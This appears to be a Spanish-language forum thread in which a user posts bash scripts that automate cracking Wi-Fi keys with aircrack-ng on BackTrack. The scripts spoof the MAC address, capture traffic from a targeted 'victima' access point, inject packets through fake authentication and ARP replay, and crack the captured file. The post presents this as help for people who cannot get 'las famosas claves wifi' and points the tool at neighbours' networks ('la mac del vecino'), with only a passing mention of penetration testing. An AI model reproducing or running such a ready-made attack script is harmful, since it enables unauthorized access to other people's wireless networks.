Hace unos dias traía una script muy sencillita para la gente que se atascaba en backtrack y las famosas claves wifi xD, hoy traigo la misma script pero con mucho mas trabajo encima y mas cómoda, para mi es una buena alternativa al airoscript que trae wifislax o wifiway, ya que es un poco peñazo utilizarlo. espero que os sirba de ayuda.

EDITO: script actualizada, contiene zenity y  festival  xD
mas adelante seguire actualizandola

#/bin/bash
echo "Esta herramienta ha sido Desarrollada y Programada por:
zit0" >> leeme.txt
echo " " >> leeme.txt
echo "Antes de empezar asegurate de tener instalado lo siguiente" >> leeme.txt
echo " "  >> leeme.txt
echo "suit aircrack" >> leeme.txt
echo "Macchanger" >> leeme.txt
echo " " >> leeme.txt
echo "En caso contrario asegurate de tener tu equipo conectado a internet para que el programa pueda descargarlo e instalarlo al inciarse." >> leeme.txt
echo " " >> leeme.txt
echo "Para activar los sonidos del programa deberas tener el equipo conectado a internet y abir el programa con un editor de texto para eliminar las "#" de los comentarios que comienzan por echo "'(voice....)'"""No recomiendo tocar el código del programa si no se sabe bien lo que se está haciendo, posiblemente te lo cargues ;)" >> leeme.txt
echo "Un saludo y que disfruteis de la herramienta" >> leeme.txt
(
echo "1"
echo '#PROGRAMA REALIZADO POR ZIT0'
sleep 3
echo "10"
echo '#Comprobando que todos los componentes necesarios están instalados...'
sleep 3
sudo aptitude install festival festlex-cmu festlex-poslex festvox-ellpc11k festvox-kallpc16k libestools1.2
sudo apt-get install aircrack-ng -y
sudo apt-get install macchanger
echo "#Listo para Comenzar"
) |zenity --progress \
   --title='iniciando'

echo "
#!/bin/bash
(
echo 'Realizando las siguientes acciones:'
echo ' '
echo '1- Inicia la tarjeta virtual mon0'
echo '2- Tira abajo la tarjeta'
echo '3- Cambia la mac original por una Fake mac'
echo '4- Inicia el airodump'
echo '5- Inicia captura de paquetes'
sleep 6
clear
sleep 2
echo ' '
echo '10'
echo '# Iniciando Mon0'
sudo airmon-ng start wlan0
echo '20'
echo '#Tirando la tarjeta'
sudo ifconfig mon0 down
echo '50'
echo '#Cambiando la Mac por la Fake_Mac (00:11:22:33:44:55)'
sudo macchanger -m 00:11:22:33:44:55 mon0
sleep 2
clear
echo '75'
echo '#Abriendo Airodump, Pulsa Cntrl+C cuando encuentres una victima'
#echo '(voice_el_diphone) (SayText \"Presiona oc y pulsa control c cuando encuentres una victima\")' | festival --language spanish &
) |
     zenity --progress \
     --title='Preparando Dispositivo'
sudo airodump-ng mon0
echo 'Iniciando Captura'
echo Escribe el Canal de la linea
#echo '(voice_el_diphone) (SayText \"introduce el canal de la victima\")' | festival --language spanish &
read linea
echo Escribe la mac del Punto de Acceso
#echo '(voice_el_diphone) (SayText \"Introduce la mac del vecino\")' | festival --language spanish &
read mac
echo  Dale un nombre al archivo que se creará
#echo '(voice_el_diphone) (SayText \"nombra el archivo\")' | festival --language spanish &
read nombre
sudo airodump-ng -c \$linea --bssid \$mac -w \$nombre mon0" >> airodump.sh
chmod u+x airodump.sh
echo "
#!/bin/bash
while [ ! -e *.cap ]
do
echo 'Esperando a la creacion del cap'
sleep 2
clear
done
op=s
while [ \$op = 's' ]  
do
 clear
 #echo '(voice_el_diphone) (SayText \"capturando paquetes\")' | festival --language spanish &
 echo 'Comenzando con la falsa autentificacion y la inyeccion de paquetes'
 echo 'Introduce la mac de la Victima'
 read victima
echo -e 'Quieres asociarte al AP?'
read ap
     if [ \$ap = 's' ]
         then sudo aireplay-ng -1 0 -a \$victima -h 00:11:22:33:44:55 mon0  
         echo ' '
  else echo 'Empezando con la inyeccion'
  echo ' '
  echo -e Introduce la mac con la que quieres inyectar paquetes
  read paquetes
  sudo aireplay-ng -3 -b \$victima -h \$paquetes mon0
fi
  echo '¿Deseas inyectar nuevamente?'
  read op
done" >> aireplay.sh
chmod u+x aireplay.sh
echo "
#!/bin/bash
while [ ! -e *.cap ]
do
echo 'Esperando para descifrar'
sleep 2
clear
done
sleep 120
while [ -e *-01.cap ]
do
aircrack-ng *-01.cap
done" >> aircrack.sh
chmod u+x aircrack.sh
aireplay='xterm -bg white -fg blue -bc -cr blue3 -hold -e ./aireplay.sh '
airodump='xterm -bg white -fg blue -bc -cr blue3 -hold -e ./airodump.sh'
exec $aireplay &
exec $airodump &
#xterm -bg gray -fg black -bc -cr yellow -hold -e ./aircrack.sh

he desactivado la opcion de aircrack porque aun no está muy pulida
#7
jajaj, ya bueno, se que hay mucha gente que los usa ya, pero hay otra tanta que está un poco perdida y no es muy amiga del comando jeje. sobre todo usuarios de windows que solo han tocado linux para esto y no consiguen nada
#8
Hola amigos, soy nuevo en el foro y no queria empezar con mis primeros post sin poder aportar algo antes, asique lo primero saludar a estra gran comunidad, y segundo presentaros estas dos humildes scripts pensadas para esa gente que no consigue hacer funcionar airoscript en backtrack o bien con el metodo habitual de comandos no les es cómodo o no lo dan conseguido.
están pensadas para ser utilizadas en un live cd/usb de backtrack aunque se podria modificar para otras distros con los programas necesarios previamente instalados.
al lío que me voy por las ramas xD

la script esta dividida en dos por la sencilla razón  de que no he conseguido hacer llamadas a otra shell y que la primera continúe con operaciones a la par de la segunda.

primera parte (script.sh):

echo "ESTE SCRIPT HACE LAS SIGUIENTES TAREAS:"
echo "------------------------------------------------------"
echo " "
echo "1- Inicia la tarjeta virtual mon0"
echo "2- Tira abajo la tarjeta"
echo "3- Cambia la mac original por una Fake mac"
echo "4- Inicia el airodump"
echo "5- Inicia captura de paquetes"
sleep 6
clear
sleep 2
echo " "
echo "INICIANDO MON0"
echo "---------------------"
echo " "
airmon-ng start wlan0
sleep 2
echo " "
echo "TIRANDO LA TARJETA"
echo "-------------------------"
echo " "
ifconfig mon0 down
echo " "
echo "CAMBIANDO LA MAC POR LA FAKE_MAC (00:11:22:33:44:55)"
echo "-----------------------------------------------------------------------"
macchanger -m 00:11:22:33:44:55 mon0
sleep 2
echo " "
echo "Abriendo Airodump, Pulsa Cntrl+C cuando encuentres una victima"
airodump-ng mon0
echo "Ahora empezamos con la captura (cuando termines de meter los parametros tendras que abrir en una nueva shell aireplay.sh"
echo " "
echo escribe el canal de la linea
read linea
echo ahora escribe la mac
read mac
echo y por ultimo dale un nombre al archivo que se creara
read nombre
airodump-ng -c $linea --bssid $mac -w $nombre mon0

Segunda parte (aireplay.sh):

echo "comenzamos con la falsa autentificacion y la inyeccion de paquetes"
echo " "
echo -e introduce la mac victima
read victima
aireplay-ng -1 0 -a $victima -h 00:11:22:33:44:55 mon0
echo " "
echo "Empezamos con la inyeccion"
echo " "
echo -e introduce la mac con la que quieres inyectar paquetes
read paquetes
aireplay-ng -3 -b $victima -h $paquetes mon0

Sobra decir que una vez terminado toca abrir el archivo .cap con aircrack.

Estas scripts las he hecho inspirandome en una de un usuario de este foro, que compartia algo parecido pero para que funcionase airscript en bactrack, una vez que la vi, decidi hacer algo como esto para que la gente pueda hacer estos test de penetración sin necesidad de airoscript, y poder hacerlo desde lo que para mí ha sido siempre mas eficaz, el modo a base de comandos.
hasta aqui mi aporte de hoy, espero que os guste  y en un futuro poder seguir compartiendo. :)